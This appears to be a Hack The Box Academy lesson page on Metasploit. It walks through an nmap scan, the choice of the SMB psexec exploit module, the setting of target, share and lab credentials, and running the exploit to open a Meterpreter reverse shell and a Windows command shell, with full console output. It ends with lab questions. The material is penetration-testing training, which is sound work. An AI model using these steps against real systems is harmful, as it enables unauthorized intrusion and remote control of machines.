

Automating Payloads & Delivery with Metasploit

Metasploit is an automated attack framework developed by **Rapid7** that streamlines the process of exploiting vulnerabilities through the use of pre-built modules that contain easy-to-use options to exploit vulnerabilities and deliver payloads to gain a shell on a vulnerable system. It can make exploiting a vulnerable system so easy that some Cybersecurity training vendors limit how many times it can be used on lab exams. Here at Hack The Box, we encourage experimenting with tools in our lab environments until you have a solid foundational understanding. Most organizations will not limit us on which tools we can or cannot use on an engagement. However, they will expect us to know what we are doing. Therefore, it is our responsibility to seek an understanding as we learn. Not understanding the effects of the tools we use can be destructive in a live penetration test or audit. This is one primary reason we should consistently seek a deeper understanding of the tools, techniques, methodologies, and practices we learn.

In this section, we will interact with the **community edition** of Metasploit on Pwnbox. We will use pre-built **modules** and craft payloads with **MSFVenom**. It is important to note that many established cybersecurity firms utilize the paid edition of Metasploit called **Metasploit Pro** to conduct penetration tests, security audits, and even social engineering campaigns. If you want to explore the differences between the community edition and Metasploit Pro, you can check out this [comparison chart](#).

Practicing with Metasploit

We could spend the rest of this module covering everything about Metasploit, but we are only going to go so far as to work with the very basics within the context of shells & payloads.

Let's start working hands-on with Metasploit by launching the Metasploit framework console as root (**sudo msfconsole**)

Starting MSF

```
Starting MSF

dbcyph0n@htb[/htb]$ sudo msfconsole

IIIIII      dTb.dTb      .-.-.-.-.
II      4'  v  'B      .'"'.|/|\\"'"'.
II      6.      .P      :  .| / | \ \" :
II      'T; . .;P'      '.| / | \ \" '.
II      'T; ;P'      .| / | \ \" .|
IIIIII      'YvP'      \-.-_-|_-.-'

I love shells --egypt

      =[ metasploit v6.0.44-dev                               ]
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post           ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops              ]
+ -- --=[ 8 evasion                                           ]

Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command

msf6 >
```

We can see there is creative ASCII art presented as the banner at launch and some numbers of particular interest.

- **2131** exploits
- **592** payloads

These numbers can change as the maintainers add and remove code or if you import a module for use into Metasploit. Let's get familiar with Metasploit payloads by using a classic `exploit module` that can be used to compromise a Windows system. Remember that Metasploit can be used for more than just exploitation. We can also use different modules to scan & enumerate targets.

In this case, we will be using enumeration results from a `nmap` scan to pick a Metasploit module to use.

NMAP Scan

NMAP Scan

```
dbcyph0n@htb[/htb]$ nmap -sC -sV -Pn 10.129.164.25

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 21:03 UTC
Nmap scan report for 10.129.164.25
Host is up (0.020s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Host script results:
|_ nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:04:e2 (VMware)
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_ smb2-security-mode:
|   2.02:
|_   Message signing enabled but not required
|_ smb2-time:
|   date: 2021-09-09T21:03:31
|_  start_date: N/A
```

In the output, we see several standard ports that are typically open on a Windows system by default. Remember that scanning and enumeration is an excellent way to know what OS (Windows or Linux) our target is running to find an appropriate module to run with Metasploit. Let's go with **SMB** (listening on **445**) as the potential attack vector.

Once we have this information, we can use Metasploit's search functionality to discover modules that are associated with SMB. In the `msfconsole`, we can issue the command `search smb` to get a list of modules associated with SMB vulnerabilities:

Searching Within Metasploit

Searching Within Metasploit

```
msf6 > search smb
```

```
Matching Modules
```

```
=====
```

#	Name	Disclosure Date	Rank	Check	Description
41	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010
42	auxiliary/dos/windows/smb/ms05_047_pnp		normal	No	Micros...
43	auxiliary/dos/windows/smb/rras_vls_null_deref	2006-06-14	normal	No	Micros...
44	auxiliary/admin/mssql/mssql_ntlm_stealer		normal	No	Micros...
45	auxiliary/admin/mssql/mssql_ntlm_stealer_sqli		normal	No	Micros...
46	auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli		normal	No	Micros...
47	auxiliary/admin/mssql/mssql_enum_domain_accounts		normal	No	Micros...
48	auxiliary/dos/windows/smb/ms06_035_mailslot	2006-07-11	normal	No	Micros...
49	auxiliary/dos/windows/smb/ms06_063_trans		normal	No	Micros...
50	auxiliary/dos/windows/smb/ms09_001_write		normal	No	Micros...

We will see a long list of **Matching Modules** associated with our search. Notice the format each module is in. Each module has a number listed on the far left of the table to make selecting the module easier, a **Name**, **Disclosure Date**, **Rank**, **Check** and **Description**.

Let's look at one module, in particular, to understand it within the context of payloads.

Output	Meaning
56	The number assigned to the module in the table within the context of the search. This number makes it easier to select. We can use the command <code>use 56</code> to select the module.
exploit/	This defines the type of module. In this case, this is an exploit module. Many exploit modules in MSF include the payload that attempts to establish a shell session.
windows/	This defines the platform we are targeting. In this case, we know the target is Windows, so the exploit and payload will be for Windows.
smb/	This defines the service for which the payload in the module is written.
psexec	This defines the tool that will get uploaded to the target system if it is vulnerable.

Option Selection

Notice how **exploit** is outside of the parentheses. This can be interpreted as the MSF module type being an exploit, and the specific exploit & payload is written for Windows. The attack vector is **SMB**, and the Meterpreter payload will be delivered using **psexec**. Let's learn more about using this exploit and delivering the payload by using the **options** command.

```
msf6 exploit(windows/smb/psexec) > options
```

```
Module options (exploit/windows/smb/psexec):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with IP addresses
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE		no	The share to connect to, can be an admin share (ADMIN\$, C\$, etc.) or a regular share
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as

```
Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	68.183.42.102	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
--	----
0	Automatic

This is one area where Metasploit shines in terms of ease of use. In the output of the module options, we see various options and settings with a description of what each setting means. We will not be using `SERVICE_DESCRIPTION`, `SERVICE_DISPLAY_NAME` and `SERVICE_NAME` in this section. Notice how this particular exploit will use a reverse TCP shell connection utilizing `Meterpreter`. A Meterpreter shell gives us far more functionality than a raw TCP reverse shell, as we established in this module's earlier sections. It is the default payload that is used in Metasploit.

We will want to use the `set` command to configure the following settings as such:

Setting Options

Setting Options

```
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.129.180.71
RHOSTS => 10.129.142.172
msf6 exploit(windows/smb/psexec) > set SHARE ADMIN$
SHARE => ADMIN$
msf6 exploit(windows/smb/psexec) > set SMBPass HTB_@cademy_stdnt!
SMBPass => HTB_@cademy_stdnt!
msf6 exploit(windows/smb/psexec) > set SMBUser htb-student
SMBUser => htb-student
msf6 exploit(windows/smb/psexec) > set LHOST 10.10.14.222
LHOST => 10.10.14.222
```

These settings will ensure that our payload is delivered to the proper target (`RHOSTS`), uploaded to the default administrative share (`ADMIN$`) utilizing credentials (`SMBPass` & `SMBUser`), then initiate a reverse shell connection with our local host machine (`LHOST`).

These settings will be specific to the IP address on your attack box and on the target box. As well as with credentials you may gather on an engagement. We can set the `LHOST` (local host) VPN tunnel IP address or the VPN tunnel interface ID.

Exploits Away

Exploits Away

```
msf6 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 10.10.14.222:4444
[*] 10.129.180.71:445 - Connecting to the server...
[*] 10.129.180.71:445 - Authenticating to 10.129.180.71:445 as user 'htb-student'...
[*] 10.129.180.71:445 - Selecting PowerShell target
[*] 10.129.180.71:445 - Executing the payload...
[+] 10.129.180.71:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.180.71
[*] Meterpreter session 1 opened (10.10.14.222:4444 -> 10.129.180.71:49675) at 2021-09-13 17:43:41 +0000

meterpreter >
```

After we issue the **exploit** command, the exploit is run, and there is an attempt to deliver the payload onto the target utilizing the Meterpreter payload. Metasploit reports back each step of this process, as seen in the output. We know this was successful because a **stage** was sent successfully, which established a Meterpreter shell session (**meterpreter >**) and a system-level shell session. Keep in mind that Meterpreter is a payload that uses in-memory DLL injection to stealthfully establish a communication channel between an attack box and a target. The proper credentials and attack vector can give us the ability to upload & download files, execute system commands, run a keylogger, create/start/stop services, manage processes, and more.

In this case, as detailed in the [Rapid 7 Module Documentation](#): "This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description. "

Like other command language interpreters (Bash, PowerShell, ksh, etc...), Meterpreter shell sessions allow us to issue a set of commands we can use to interact with the target system. We can use the **?** to see a list of commands we can use. We will notice limitations with the Meterpreter shell, so it is good to attempt to use the **shell** command to drop into a system-level shell if we need to work with the complete set of system commands native to our target.

Interactive Shell

Interactive Shell

```
meterpreter > shell
Process 604 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>
```

Now let's put our knowledge to the test with some challenge questions.

VPN Servers

⚠ Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

us-academy-1

PROTOCOL

● UDP 1337 ● TCP 443

[DOWNLOAD VPN CONNECTION FILE](#)

Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

100000ms

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: [Click here to spawn the target system!](#)



Cheat Sheet



Download VPN
Connection File

+ 0



What command language interpreter is used to establish a system shell session with the target?

Submit your answer here...



Submit



Hint



Authenticate to with user "htb-student" and password "HTB_@cademy_stdnt!"

+ 1



Exploit the target using what you've learned in this section, then submit the name of the file located in htb-student's Documents folder. (Format: filename.extension)

Submit your answer here...

 Submit

 Hint

[← Previous](#)

[Next →](#)

 Cheat Sheet

[? Go to Questions](#)

Table of Contents

Introduction

Shells Jack Us In, Payloads Deliver Us Shells 

CAT5 Security's Engagement Preparation 

Shell Basics

 Anatomy of a Shell 

 Bind Shells 

 Reverse Shells 

Payloads

Introduction to Payloads 

 [Automating Payloads & Delivery with Metasploit](#)

Crafting payloads with MSFvenom

Windows Shells

 Infiltrating Windows

NIX Shells

 Infiltrating Unix/Linux

Spawning Interactive Shells

Web Shells

Introduction to Web Shells

 Laudanum, One Webshell to Rule Them All

 Antak Webshell

 PHP Web Shells

Skills Assessment

 The Live Engagement

Additional Considerations

Detection & Prevention

My Workstation

OFFLINE

▶ Start Instance

∞ / 1 spawns left